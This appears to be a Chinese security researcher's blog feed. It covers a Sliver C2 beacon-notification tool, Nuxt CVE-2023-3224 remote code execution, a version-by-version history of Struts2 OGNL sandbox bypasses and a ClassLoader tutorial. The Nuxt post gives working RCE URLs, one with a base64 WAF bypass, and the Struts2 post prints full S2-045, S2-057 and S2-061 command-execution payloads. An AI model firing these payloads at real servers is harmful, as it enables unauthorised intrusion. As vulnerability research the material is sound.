水坑漏洞保护、XSS 深度利用等等。

已知弊端

1. 支持不了 socks5 ，因为浏览器不支持发送 tcp 包。

2. 这只是随手写的 demo ，很多东西实战没有考虑进去。

阅读原文

跳转微信打开

几行代码实现 Sliver 样本上线通知

Wed, 28 Jun 2023 20:43:00 +0800

原创 medi0cr1ty 2023-06-28 20:43 北京

Sliver是一个好用的 C2 平台，支持多协议，样本混淆，代理，交互式 Shell ，并集成部分后渗透工具。

Sliver是一个好用的 C2 平台，支持多协议，样本混淆，代理，交互式 Shell ，并集成部分后渗透工具。早期只能使用命令行翻文件相当不方便，后续官方出了一个不完善的 GUI ，功能虽然有各种问题，但翻文件是够用了。

但长期使用难免会有上线通知的需求，翻了下配置，官方暂无功能可支持。

在https://github.com/BishopFox/sliver/issues/870中翻到别人提的需求，好家伙，官方推荐使用第三方项目。

在官方推荐的项目说明中(https://github.com/ezra-buckingham/sally-the-sliver-siren) 不难发现该项目是用 python 实现了客户端登录，然后定时检查有哪些 session 在线。预期的想法应该是实现类似 cobaltstrike 的通知方式，使用插件实现 beacon_init 方法，并在该方法实现通知，当有 beacon 上线时触发。

显然这个第三方工具不符合预期，故自己琢磨：

定位到 session 上线时的处理逻辑如下，不难发现上线动作完成后程序会记录一下日志，那么我们发通知也应该在这里介入：

https://github.com/BishopFox/sliver/blob/01b370ba4488970d1d1bad9d13179a9a3e6e5bfc/server/handlers/sessions.go#L87

进一步分析可以看到审计日志位于 ~/.sliver/logs/audit.json

上线所有信息都有，那就简单了：

跑在 sliver 的机器上，实时通知无延时，无需修改 sliver 的代码。

目前代码已上传至 GitHub ，地址：https://github.com/Phelaine/sliver-webhook

阅读原文

跳转微信打开

Nuxt开发模式下远程代码执行漏洞(CVE-2023-3224)

Tue, 20 Jun 2023 19:07:00 +0800

2023-06-20 19:07 泰国

漏洞很简单，仅进行部分补充及记录

漏洞概述

Nuxt在当服务端以开发模式启动时存在代码注入漏洞，远程未授权攻击者可利用此漏洞注入恶意代码并获取目标服务器权限。

前置条件：服务端以开发模式启动。

影响版本：Nuxt 3.4.0；3.4.1；3.4.2

漏洞分析

环境搭建（三步）：

1、初始化

npm init -y

2、依赖安装

npm install nuxt@3.4.0

3、启动

npx nuxi dev

根据漏洞补丁可知，漏洞触发点在 nuxt-root.vue 对 /__nuxt_component_test__/ 开头的 URL进行处理，交由 test-component-wrapper.mjs ，在这里根据 query 中 path 参数值进行动态引入，导致可注入任意代码。

POC：

/__nuxt_component_test__/?path=data%3atext/javascript,console.log("test!");

RCE：

/__nuxt_component_test__/?path=data%3atext/javascript,(await%20import('child_process')).execSync('calc')

RCE + 回显：

/__nuxt_component_test__/?path=data%3atext/javascript,throw%20new%20Error((await%20import('child_process')).execSync('whoami'));

漏洞检测

/__nuxt_component_test__/?path=data%3atext/javascript,throw%20new%20Error(Buffer.from(%22medi0crity%22).toString(%27base64%27));

另：均可进行编码绕 WAF 等，如：

/__nuxt_component_test__/?path=data%3atext/javascript%3bcharset%3dutf-8%3bbase64,KGF3YWl0IGltcG9ydCgnY2hpbGRfcHJvY2VzcycpKS5leGVjU3luYygnY2FsYycp

阅读原文

跳转微信打开

从零带你看struts2中ognl命令执行漏洞

Thu, 22 Apr 2021 20:21:00 +0800

medi0cr1ty 2021-04-22 20:21

转载记录

本文作者 medi0cr1ty @ QAX CERT

hi!! 新面孔打个招呼~最近花了蛮长时间看 Struts2 的漏洞，可能某些安全研究人员（像我）会选择 Struts2 作为入手 java 研究的第一个框架，毕竟最早实现 MVC（Model+View+Controller）模式的 java web 框架就是 struts 了。所以输出这篇文章记录下我的总结以及理解，如果能对你有所帮助就更好了 ~！

本文不会对 struts2 漏洞的调用链跟进进行阐述，仅是从 struts2 框架中通过 ognl 产生命令执行漏洞的位置以及 struts2 版本更新安全防护升级相应命令执行 PoC 的更新两个角度进行切入。另如有错误烦请指正，谢谢！

声明：本篇文章由 medi0cr1ty @ QAX CERT原创，仅用于技术研究，不恰当使用会造成危害，严禁违法使用，否则后果自负。

QAX CERT

文章导航

对 struts2 框架进行介绍；

对 struts2 框架 OGNL 语法进行介绍；

struts2 命令执行系列漏洞产生的位置；

struts2 版本变化对应 PoC 的变化

struts2 框架介绍

struts2 由 struts1 升级得名，而其中却是采用 Webwork2 作为其代码基础，完全摒弃 struts1 的设计思想及代码，并以 xwork 作为底层实现的核心，以 ognl 作为浏览器与 java 对象数据流转沟通的语言，实现不同形式数据之间的转换与通信。

可以一起看一下 struts2 中一个请求从进入到返回响应会经历哪些过程以及 xwork 核心中各个元素如何配合让程序运转。

下图为请求从输入到输出的过程：

（图出自https://blog.csdn.net/qq_32166627/article/details/70050012 ）

首先当 struts2 项目启动时，会先加载 web.xml ，由其中定义的入口程序 StrutsPrepareAndExecuteFilter 进行容器的初始化以及转发我们的请求。由其中的 init 函数进行初始化，加载配置文件信息，对内置对象进行创建及缓存，创建接下来 struts2 操作的运行环境。

由 doFilter 函数中对封装成 HttpServletRequest 的 http 请求进行预处理以及转发执行。

在这期间 struts2 需要知道这个请求具体由哪个 action 的哪个方法处理，那么在 doFilter 中，在这里会进行请求和 action 之间的映射，具体为根据输入的 url 截取相关信息存入 org.apache.struts2.dispatcher.mapper.ActionMapping 对象属性中，属性包括了请求的 action 、method 、param 、namespace 等（也就是图中的第 3 步）。当然不一定请求的 action ，比如请求 jsp 文件等，那么 ActionMapping 映射为空，则不由 struts2 转发处理。不为空则由 ActionProxy 根据 ActionMapping 映射信息以及 ConfigurationManager 配置信息，找到我们具体要访问的 Action 类（也是图中的 6、7 步）。接着通过 ActionProxy 创建 ActionInvocation 实例，由 ActionInvocation 实例调度访问 Action 。

在访问 Action 之前，会先执行一个拦截器栈，在拦截器栈中会对请求进行一些处理，比如在 ParametersInterceptor 中将参数通过 setter 、getter 方法对 Action 的属性赋值，在 ConversionErrorInterceptor 中对参数类型转换出错时进行拦截处理等。

接下来才会去访问 Action 类。执行完成返回一个结果，结果可能是视图文件，也有可能是去访问另一个 action ，那么如果是访问另一个 action 就重新进行映射，由 ActionProxy 创建 ActionInvocation 进行调度等，如果是返回一个视图文件，那么逆序拦截器栈执行完，最终通过 HTTPServletResponse 返回响应。

前面洋洋洒洒一大堆，其中有一些比如 ActionProxy 、ActionInvocation 等类可能是陌生的，所以我们可以看一下各个元素。其实上面流程中由 ActionProxy 接管请求信息起，就是 xwork 框架的入口了。下图为 xwork 的宏观示意图。

这些节点元素里面可以分为负责请求响应的执行元素（控制流元素）以及进行请求响应所依赖的数据元素（数据流元素）。而执行元素中负责定义事件处理的基本流程的：Interceptor（拦截器，对 Action 的逻辑扩展）、 Action（核心处理类）、 Result（执行结果，负责对 Action 的响应进行逻辑跳转），以及负责调度执行的：ActionProxy （提供一个无干扰的执行环境）、ActionInvocation（组织调度 Action 、Interceptor 、Result 节点执行顺序的核心调度器）。而数据流元素则包括了 ActionContext 以及 ValueStack 。其中 ActionContext 中提供了 xwork 进行事件处理过程中需要用到的框架对象（比如：container、ValueStack、actionInvocation 等）以及数据对象（比如：session、application、parameters 等）。而 ValueStack 则主要对 ognl 计算进行扩展，是进行数据访问、 ognl 计算的场所，在 xwork 中实现了 ValueStack 的类就是 OgnlValueStack 。

以上这些概念可能对理解 struts2 框架有所帮助。那么回到主题 struts2 中 ognl 所产生的命令执行的漏洞，就不得不提一些概念，比如 Ognl 是什么等。

struts2 框架 OGNL 语法

struts2 中使用 Ognl 作为数据流转的“催化剂”。要知道在视图展现中，我们看到的都是字符串，而我们进行逻辑处理时的数据是丰富的，可能是某个类对象，那么如果我们想在页面中展示对象数据就需要一个转换器，这个转换器就是常说的表达式引擎，他负责将对象翻译成字符串，当然这个关系不是单向的，他也可以通过规则化的字符串翻译为对对象的操作。struts2 使用了 ognl 作为他的翻译官，ognl 不仅仅应用于页面字符串与对象数据转换，在 struts2 中各个模块进行数据处理时也会用到。

进行 ognl 表达式计算最主要的元素包括：表达式、 root 对象、上下文环境（ context ）。其中表达式表达了这次 ognl 解析要干什么， root 对象表示通常 ognl 操作的对象，而上下文环境表示通常 ognl 运行的环境。而 root 对象和 context 上下文环境都是 OgnlValueStack 的属性值。如下图所示：

而其中 root 对象是一个栈结构，每一次请求都会将请求的 action 压入 root 栈顶，所以我们在 url 中可以输入 action 中的属性进行赋值，在参数拦截器中会从 root 栈中从栈顶到栈底依次找同名的属性名进行赋值。

context 对象是一个 map 结构，其中 key 为对象的引用，value 为对象具体的存储信息。（这其中还存储了 OgnlValueStack 的引用）

可以看看 Ognl 怎么对 OgnlValueStack 中的对象进行操作。

对 root 对象的访问：

name // 获取 root 对象中 name 属性的值
department.name // 获取 root 对象中 department 属性的 name 属性的值
department['name'] 、 department["name"]

对 context 上下文环境的访问：

#introduction // 获取上下文环境中名为 introduction 对象的值
#parameters.user // 获取上下文环境中 parameters 对象中的 user 属性的值
#parameters['user'] 、 #parameters["user"]

对静态变量 / 方法的访问：@[class]@[field/method]

@com.example.core.Resource@ENABLE // 访问 com.example.core.Resource 类中 ENABLE 属性
@com.example.core.Resource@get() // 调用 com.example.core.Resource 类中 get 方法

方法调用：类似 java 方法调用

group.containsUser(#requestUser) // 调用 root 对象中 group 中的 containsUser 方法，并传入 context 中名为 requestUser 的对象作为参数

struts2 中 ognl 命令执行漏洞产生的位置

有了前面的基础知识，可以逐渐步入正题。简要总结了 struts2 中 ognl 命令执行漏洞在框架中产生的位置及其原因。

图中的赋值内容就是我们之后的 PoC 内容，进而解析执行触发。

struts2 版本变化对应 PoC 的变化

“修补”旅途的开始， struts2 中对 ognl 表达式执行也进行了一定的防护。具体体现在 MemberAccess 接口中规定了 ognl 的对象方法 / 属性访问策略。实现 MemberAccess 接口的有两类：一个是在 ognl 中实现的 DefaultMemberAccess ，默认禁止访问 private 、protected 、package protected 修饰的属性方法。一个是 xwork 中对对象方法访问策略进行了扩展的 SecurityMemberAccess ，指定是否支持访问静态方法，默认设置为 false 。

public class SecurityMemberAccess extends DefaultMemberAccess {
     private boolean allowStaticMethodAccess;
     Set excludeProperties = Collections.emptySet();
     Set acceptProperties = Collections.emptySet();
     public SecurityMemberAccess(boolean method) {
         super(false);
         this.allowStaticMethodAccess = method;
     }

而在 SecurityMemberAccess 中同时也提供了 setAllowStaticMethodAccess 、getAllowStaticMethodAccess 方法，且修饰符为 public 。所以绕过这一版本的防护的 PoC ：

(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('calc'))

通过 #_memberAccess 获取 SecurityMemberAccess 实例，通过 setAllowStaticMethodAccess 方法设置其值为 true ，允许执行静态方法。

接着在 Struts2.3.14.2+ 中，SecurityMemberAccess 对 allowStaticMethodAccess 加了 final 修饰并将 setAllowStaticMethodAccess 方法去除了。

这里绕过就有两种方法：【 PoC 参考：S2-012、S2-015、S2-016（影响的版本：Struts 2.0.0 - Struts 2.3.15）】

通过反射将 allowStaticMethodAccess 的值改变

#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess")
#f.setAccessible(true)
#f.set(#_memberAccess,true)

新建一个 ProcessBuilder 实例，调用 start 方法来执行命令

(#p=new java.lang.ProcessBuilder('calc')).(#p.start())

接着在 Struts2.3.20+ 中，SecurityMemberAccess 中增加了 excludedClasses ， excludedPackageNames 以及 excludedPackageNamePatterns 三个黑名单属性。这三个属性在 SecurityMemberAccess#isAccessible 方法中遍历判断了当前操作类是否在黑名单类中，而在 ognl 表达式执行时 OgnlRuntime 类中 callConstructor、getMethodValue、setMethodValue、getFieldValue、isFieldAccessible、isMethodAccessible、invokeMethod 调用了此方法。也即是在 ognl 表达式在执行以上操作时判断了当前操作类是否在黑名单中。

黑名单属性在 struts-default.xml 中定义：

Struts2.3.28 struts-default.xml ：

value="

java.lang.Object,

java.lang.Runtime,

java.lang.System,

java.lang.Class,

java.lang.ClassLoader,

java.lang.Shutdown,

java.lang.ProcessBuilder,

ognl.OgnlContext,

ognl.ClassResolver,

ognl.TypeConverter,

com.opensymphony.xwork2.ognl.SecurityMemberAccess,

com.opensymphony.xwork2.ActionContext" />

绕过：【 PoC 参考：S2-032（影响版本：struts2.3.20 - struts2.3.28 (除去 2.3.20.3 及 2.3.24.3)）】

通过 DefaultMemberAccess 替换 SecurityMemberAccess 来完成：

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS

这样 ognl 计算时的规则就替换成了 DefaultMemberAccess 中的规则，也就没有了黑名单的限制以及静态方法的限制。这里获取类的静态属性通过 ognl.OgnlRuntime#getStaticField 获得，而该方法中没有调用 isAccessible 方法，故通过 @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS 可以获取到 DefaultMemberAccess 对象，赋值给上下文环境中的 _memberAccess ，绕过黑名单限制。

接着在 Struts2.3.30+ 及 struts2.5.2+ 中，增加了 SecurityMemberAccess 中的黑名单，将 ognl.DefaultMemberAccess 以及 ognl.MemberAccess 加入了黑名单；同时在 Struts2.3.30 使用 ognl-3.0.19.jar 包、struts2.5.2 使用 ognl-3.1.10.jar 包中的 OgnlContext 不再支持使用 #_memberAccess 获得 MemberAccess 实例。

struts2.5.10 ：

value="

java.lang.Object,

java.lang.Runtime,

java.lang.System,

java.lang.Class,

java.lang.ClassLoader,

java.lang.Shutdown,

java.lang.ProcessBuilder,

ognl.OgnlContext,

ognl.ClassResolver,

ognl.TypeConverter,

ognl.MemberAccess,

ognl.DefaultMemberAccess,

com.opensymphony.xwork2.ognl.SecurityMemberAccess,

com.opensymphony.xwork2.ActionContext" />

绕过：【 PoC 参考 S2-045 ，影响版本 Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10 】

通过 ognl.OgnlContext#setMemberAccess 方法将 DefaultMemberAccess 设为 ognl 表达式计算的规则。

(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context.setMemberAccess(#dm))

这样无需通过 #_memberAccess 的形式获取实例，而是直接改变 OgnlContext 中的 _memberAccess 属性。但是调用 setMemberAccess 方法会触发检查黑名单，ognl.OgnlContext 俨然在黑名单中，那怎么绕过黑名单呢？

通过 OgnlUtil 改变 SecurityMemberAccess 黑名单属性值：

(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).
(#ognlUtil= #container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear())

从上图中可以看出在 StrutsPrepareAndExecuteFilter#doFilter 初始化 OgnlValueStack 中 SecurityMemberAccess 的黑名单集合时是通过 ognlUtil 中的黑名单集合进行赋值的，他们共享同一个黑名单地址，那么是不是将 OgnlUtil 中的黑名单清空 SecurityMemberAccess 中的黑名单也清空了。

故在 PoC 中首先通过容器获取 OgnlUtil 实例， OgnlUtil 是单例模式实现的对象，所以获取到的实例是唯一的，接着调用 get 方法获取黑名单集合，clear 方法清空。

我们可以一起看一下 S2-045 完整的 PoC ：

%{
(#_='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):(
  (#container=#context['com.opensymphony.xwork2.ActionContext.container']).
  (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
  (#ognlUtil.getExcludedPackageNames().clear()).
  (#ognlUtil.getExcludedClasses().clear()).
  (#context.setMemberAccess(#dm))
)).
(#cmd='whoami').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
}

最开始的 #_='multipart/form-data' 是为了满足触发漏洞的要求，接下来就是将 DefaultMemberAccess 存入 OgnlContext 上下文环境中，接着一个三目运算符主要为了适配低版本中可以直接取到 _memberAccess 对象，取不到就按前面绕过的形式将黑名单清空并将 DefaultMemberAccess 设为默认安全策略。接下来就是执行命令并输出了。

接着在 Struts2.5.13+ 中，excludedClasses 等黑名单集合设为不可变集合（从 struts 2.5.12 开始就不再可变）通过前面 PoC 中的 clear 函数来清除数据会抛出异常：java.lang.UnsupportedOperationException at java.util.Collections$UnmodifiableCollection.clear 。同时 struts 2.5.13 使用的 ognl-3.1.15.jar 包中 OgnlContext 不再支持使用 #context 获取上下文环境。

com.opensymphony.xwork2.ognl.OgnlUtil#setExcludedClasses :
public void setExcludedClasses(String commaDelimitedClasses) {
    Set classNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedClasses);
    Set> classes = new HashSet();
    Iterator i$ = classNames.iterator();
    
    while(i$.hasNext()) {
        String className = (String)i$.next();
        try {
            classes.add(Class.forName(className));
        } catch (ClassNotFoundException var7) {
            throw new ConfigurationException("Cannot load excluded class: " + className, var7);
        }
    }
    this.excludedClasses = Collections.unmodifiableSet(classes);
}

绕过：【 PoC 参考 S2-057 ，影响版本 Struts 2.0.4 - Struts 2.3.34, Struts 2.5.0 - Struts 2.5.16 】

通过 setExcludedXXX('') 方法实现：

(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))

但是，实操发现这样发送请求后面的命令还是不能执行，跟进 setExcludedXXX('') 中的 Collections.unmodifiableSet(classes) 会发现其实是返回了一个新的空集合，并不是之前那个 _memberAccess 和 ognlUtil 共同引用的那个黑名单地址的集合，怎么办呐，很简单再发一次请求就可以了。为什么呢？因为提到过 OgnlUtil 是单例模式实现的，应用从始至终都用的同一个 OgnlUtil ，而 _memberAccess 的作用域是在一次请求范围内的，与此同时 OgnlUtil 中的黑名单集合已经置为空了，那么重新发一次请求，_memberAccess 重新初始化，通过 OgnlUtil 中为空的黑名单进行赋值。

还有一个需要绕过的地方：通过上下文环境中其他属性（比如这里的 attr ）来获得 context 。

#attr['struts.valueStack'].context

完整看一下 S2-057 的 PoC ：

两个数据包：

1、

/${(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}/login.action

2、

/${(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))}/login

接着在 Struts2.5.20 中，使用的 ognl-3.1.21.jar 包 ognl.OgnlRuntime#getStaticField 中调用了 isAccessible 方法，同时 OgnlUtil 中 set 黑名单集合等修饰符由 public 变成了 protected 。在 Struts2.5.22+ 中，ognl.OgnlRuntime#invokeMethod 方法调用时屏蔽了常用的类，也即是就算将黑名单绕过去了方法调用时仍会判断是否是这些常用的类。同时 struts-default.xml 中定义的黑名单再次增加。

Struts2.5.25 struts-default.xml :

<constant name="struts.excludedClasses"

value="

java.lang.Object,

java.lang.Runtime,

java.lang.System,

java.lang.Class,

java.lang.ClassLoader,

java.lang.Shutdown,

java.lang.ProcessBuilder,

sun.misc.Unsafe,

com.opensymphony.xwork2.ActionContext" />

<constant name="struts.excludedPackageNames"

value="

ognl.,

java.io.,

java.net.,

java.nio.,

javax.,

freemarker.core.,

freemarker.template.,

freemarker.ext.jsp.,

freemarker.ext.rhino.,

sun.misc.,

sun.reflect.,

javassist.,

org.apache.velocity.,

org.objectweb.asm.,

org.springframework.context.,

com.opensymphony.xwork2.inject.,

com.opensymphony.xwork2.ognl.,

com.opensymphony.xwork2.security.,

com.opensymphony.xwork2.util." />

相当于前面绕过方式都不能用了，比如使用 @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS 获得 DefaultMemberAccess 实例；使用 #attr['struts.valueStack'].context 获得上下文环境；通过容器创建实例等。

绕过：【 PoC 参考 S2-061 ，影响版本 Struts 2.0.0 - Struts 2.5.25 】

引用新的类来实现：

org.apache.tomcat.InstanceManager ：

使用其默认实现类 DefaultInstanceManager 的 newInstance 方法来创建实例

org.apache.commons.collections.BeanMap ：

通过 BeanMap#setBean 方法可以将类实例存入 BeanMap 中，存入同时进行初始化将其 set、get 方法存入当前的 writeMethod 、 readMethod 集合中；
通过 BeanMap#get 方法可以在当前 bean 的 readMethod 集合中找到对应 get 方法，再反射调用该方法返回一个对象；
通过 BeanMap#put 方法可以在当前 bean 的 writeMethod 集合中找到对应 set 方法，再反射调用该方法。

完整看一下 S2-061 的 PoC ：

%25{(#im=#application['org.apache.tomcat.InstanceManager']).
(#bm=#im.newInstance('org.apache.commons.collections.BeanMap')).
(#vs=#request['struts.valueStack']).
(#bm.setBean(#vs)).(#context=#bm.get('context')).
(#bm.setBean(#context)).(#access=#bm.get('memberAccess')).
(#bm.setBean(#access)).
(#empty=#im.newInstance('java.util.HashSet')).
(#bm.put('excludedClasses',#empty)).(#bm.put('excludedPackageNames',#empty)).
(#cmdout=#im.newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}

首先从 application 中获得 DefaultInstanceManager 实例，调用 newInstance 方法获得 BeanMap 实例。接着先将 OgnlValueStack 存入 BeanMap 中，通过 get 方法可以获得 OgnlContext 实例，获得 OgnlContext 实例就可以通过其获得 MemberAccess 实例，接着可以通过 put 方法调用 set 方法，将其黑名单置空，黑名单置空后就可以创建一个黑名单中的类实例来执行命令了。

最新版本：Struts2.5.26 中再一次增加了黑名单：

value="

java.lang.Object,

java.lang.Runtime,

java.lang.System,

java.lang.Class,

java.lang.ClassLoader,

java.lang.Shutdown,

java.lang.ProcessBuilder,

sun.misc.Unsafe,

com.opensymphony.xwork2.ActionContext" />

value="

ognl., java.io., java.net., java.nio., javax.,

freemarker.core., freemarker.template., freemarker.ext.jsp.,

freemarker.ext.rhino.,

sun.misc., sun.reflect., javassist.,

org.apache.velocity., org.objectweb.asm.,

org.springframework.context.,

com.opensymphony.xwork2.inject.,

com.opensymphony.xwork2.ognl.,

com.opensymphony.xwork2.security.,

com.opensymphony.xwork2.util.,

org.apache.tomcat., org.apache.catalina.core.,

com.ibm.websphere., org.apache.geronimo.,

org.apache.openejb., org.apache.tomee.,

org.eclipse.jetty., org.mortbay.jetty.,

org.glassfish., org.jboss.as., org.wildfly., weblogic.," />

把中间件的包都给屏蔽了 orz …

结语

这篇文章主要根据 struts2 版本更新将其命令执行系列漏洞顺了一遍。struts2 框架在执行命令时主要防护机制是 SecurityMemberAccess 中的策略，以及对应使用的 ognl jar 包中的一些变化，分析时可以重点关注这两地方。另外到了 struts2.5.26 版本感觉官方将该补的都补了，但还是期待新 PoC 的出现。

参考链接

[1] 《Struts2 技术内幕——深入解析Struts2架构设计与实现原理》

[2] https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/

[3] https://cwiki.apache.org/confluence/display/WW/Security+Bulletins

[4] https://github.com/vulhub/vulhub/tree/master/struts2

[5] https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g

阅读原文

跳转微信打开

ClassLoader 详解 - 论如何使用 ClassLoader 加载自定义类

Fri, 02 Apr 2021 21:00:00 +0800

原创 medi0cr1ty 2021-04-02 21:00

得补 java 基础。很多 java 特性之前没有碰到过的。

ClassLoder 介绍

ClassLoader 的主要作用是 Java 类文件的加载。默认的类加载器是 AppClassLoader 应用程序类加载器（加载用户类路径 classpath 下的类库）。

【除此之外还有 Bootstrap ClassLoader 启动类加载器（将 JDK\jre\lib 目录下的类库加载到虚拟机内存，用来加载 java 核心库，并不继承自 java.lang.ClassLoader ，是虚拟机自身的一部分，无法被 java 程序直接引用）；以及 Extension ClassLoader 扩展类加载器（将 JDK\jre\lib\ext 下的类库加载到虚拟机内存，即加载 java 的扩展库）。】

java 程序在运行时需要先编译成 class 文件，JVM 在执行 java 类之前会先解析 class 的二进制内容，JVM 执行的其实是 javap 命令生成的字节码（ByteCode）。（可用程序生成 class 文件的字节码） java 类在进行初始化时会调用 java.lang.ClassLoder 加载类字节码。

ClassLoader 类的核心方法：

loadClass - 加载指定的 java 类
findClass - 查找指定的 java 类
findLoadedClass - 查找 JVM 已经加载过的 java 类
defineClass - 定义一个 java 类
resolveClass - 链接指定的 java 类

java 类加载可分为显式及隐式，显式即通过 java 反射 或 ClassLoader 来动态加载一个类对象，隐式则是指通过 类名.方法名() 或 new 类实例 时进行 java 类加载。

java 反射：

Class.forName("org.example.App");  // 默认会加载类的静态属性及方法（不想初始化类则：Class.forName("类名", 是否初始化, 类加载器)）

ClassLoder 加载：

this.getClass().getClassLoader().loadClass("org.example.App");  // 默认不会加载静态属性及方法

通过 ClassLoader 的 loadClass("org.example.App") 加载流程：首先通过 findLoadedClass 找该类是否已经初始化，如已经初始化则直接返回对象，若没有则依次向上通过父类加载器进行加载（如果配置了的话，没配置就使用 JVM 的 Bootstrap ClassLoader 进行加载）。如果Bootstrap ClassLoader 没法加载再由父类加载器依次向下加载，如果还没加载到，则调用 findClass 方法尝试加载，在 ClassLoader 中 findClass 会抛出 ClassNotFoundException 异常，所以当前 ClassLoader 如果没有重写 findClass 方法那么就会抛出异常退出，重写了则通过传入的类名找到对应的类字节码，接着通过 defineClass 将该类注册到 JVM 中。如果调用 loadClass 方法时传入的 resolve 参数为 true ，那么还需要调用 resolveClass 方法去链接类，默认为 false 。再然后就返回一个被 JVM 加载后的类了。

实现使用 ClassLoader 来加载我们的自定义类

根据前面的基础装备配置，我们就可以逐步实现使用 ClassLoader 来加载我们的自定义类啦。

前面有提到如果我们自定义类不存在于 classpath 中，ClassLoader 加载时会抛出异常，那么我们可以选择自定义一个类加载器重写 findClass 方法，也可以找一个重写了 findClass 方法的 ClassLoader 子类。再调用 defineClass 方法将自定义类注册进去，接着就可以通过反射调用类方法了。

01、自定义类加载器

我们看一下自定义一个类加载器实现此效果：

package org.example;
import java.lang.reflect.Constructor;
public class LoadSelfClass extends ClassLoader {
    private static String className = "org.example.App";
    private byte[] classByteCodes = new byte[]{
            -54,-2,-70,-66,0,0,0,51,0,42,10,0,10,0,24,9,0,25,0,26,8,0,27,10,0,28,0,29,8,0,30,8,0,31,9,0,9,0,32,8,0,33,7,0,34,7,0,35,1,0,4,110,97,109,101,1,0,18,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,17,76,111,114,103,47,101,120,97,109,112,108,101,47,65,112,112,59,1,0,3,115,97,121,1,0,8,60,99,108,105,110,105,116,62,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,8,65,112,112,46,106,97,118,97,12,0,13,0,14,7,0,36,12,0,37,0,38,1,0,36,-17,-65,-67,-17,-65,-67,-17,-65,-67,-20,-73,-67,-17,-65,-67,-17,-65,-67,-17,-65,-67,-17,-65,-67,-17,-65,-67,-17,-65,-67,-17,-65,-67,-17,-65,-67,7,0,39,12,0,40,0,41,1,0,2,72,105,1,0,10,109,101,100,105,48,99,114,49,116,121,12,0,11,0,12,1,0,22,115,116,97,116,105,99,32,109,101,116,104,111,100,32,105,110,118,111,107,101,100,33,1,0,15,111,114,103,47,101,120,97,109,112,108,101,47,65,112,112,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,1,0,3,111,117,116,1,0,21,76,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,59,1,0,19,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,1,0,7,112,114,105,110,116,108,110,1,0,21,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,0,33,0,9,0,10,0,0,0,1,0,8,0,11,0,12,0,0,0,3,0,0,0,13,0,14,0,1,0,15,0,0,0,63,0,2,0,1,0,0,0,13,42,-73,0,1,-78,0,2,18,3,-74,0,4,-79,0,0,0,2,0,16,0,0,0,14,0,3,0,0,0,11,0,4,0,12,0,12,0,13,0,17,0,0,0,12,0,1,0,0,0,13,0,18,0,19,0,0,0,1,0,20,0,14,0,1,0,15,0,0,0,55,0,2,0,1,0,0,0,9,-78,0,2,18,5,-74,0,4,-79,0,0,0,2,0,16,0,0,0,10,0,2,0,0,0,27,0,8,0,28,0,17,0,0,0,12,0,1,0,0,0,9,0,18,0,19,0,0,0,8,0,21,0,14,0,1,0,15,0,0,0,59,0,2,0,0,0,0,0,23,18,6,-77,0,7,-78,0,2,-78,0,7,-74,0,4,-78,0,2,18,8,-74,0,4,-79,0,0,0,1,0,16,0,0,0,18,0,4,0,0,0,15,0,5,0,18,0,14,0,19,0,22,0,20,0,1,0,22,0,0,0,2,0,23
    };
    @Override
    protected Class findClass(String name) throws ClassNotFoundException {
        if (name.equals(className)){
            return defineClass(name, classByteCodes, 0, classByteCodes.length);
        }
        return super.findClass(name);
    }
    public static void main(String[] args) {
        LoadSelfClass loadSelfClass = new LoadSelfClass();
        try {
            Class cls = loadSelfClass.loadClass(className);     // 通过自定义的 ClassLoader 加载自定义类
            cls.newInstance();
//            Constructor constructor = cls.getDeclaredConstructor();
//            constructor.setAccessible(true);
//            Object clsInstance = constructor.newInstance();
//            cls.getMethod("say").invoke(clsInstance);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

